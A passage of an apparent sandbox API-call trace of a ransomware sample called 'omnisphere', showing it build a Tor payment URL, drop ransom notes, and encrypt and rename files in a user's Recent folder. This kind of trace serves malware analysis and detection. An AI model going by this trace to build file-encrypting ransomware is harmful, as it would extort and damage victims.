lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.741] GetProcessHeap () returned 0x1600000 [0127.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1b90 [0127.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1b90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.741] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.741] GetProcessHeap () returned 0x1600000 [0127.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710700 [0127.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710700, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.741] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.741] GetProcessHeap () returned 0x1600000 [0127.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5dc0 [0127.741] PathCombineW (in: pszDest=0x16f5dc0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.741] GetProcessHeap () returned 0x1600000 [0127.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17062c0 [0127.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.741] WriteFile (in: hFile=0x28c, lpBuffer=0x17062c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x17062c0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.741] CloseHandle (hObject=0x28c) returned 1 [0127.742] GetProcessHeap () returned 0x1600000 [0127.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.742] GetProcessHeap () returned 0x1600000 [0127.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e788 [0127.742] PathCombineW (in: pszDest=0x162e788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.742] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.742] CloseHandle (hObject=0x28c) returned 1 [0127.742] GetProcessHeap () returned 0x1600000 [0127.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e788 | out: hHeap=0x1600000) returned 1 [0127.742] GetProcessHeap () returned 0x1600000 [0127.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.742] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcbc47, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21bcbc47, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21bcbc47, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZZ6tka7.lnk", cAlternateFileName="")) returned 1 [0127.742] GetProcessHeap () returned 0x1600000 [0127.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167c348 [0127.742] PathCombineW (in: pszDest=0x167c348, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ZZ6tka7.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk" [0127.743] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zz6tka7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.743] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=937) returned 1 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.743] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] GetTickCount () returned 0x115fdf4 [0127.744] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.744] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.744] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.745] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.745] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.745] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a9, lpName=0x0) returned 0x288 [0127.745] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a9) returned 0x1480000 [0127.745] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0127.745] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0127.745] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.746] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.747] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.748] CryptDestroyKey (hKey=0x16396e8) returned 1 [0127.748] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.748] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3a9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.748] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.749] GetProcessHeap () returned 0x1600000 [0127.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16fa088 [0127.749] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zz6tka7.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zz6tka7.lnk.omnisphere")) returned 1 [0127.749] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk.omnisphere.id" [0127.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zz6tka7.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.750] WriteFile (in: hFile=0x3c0, 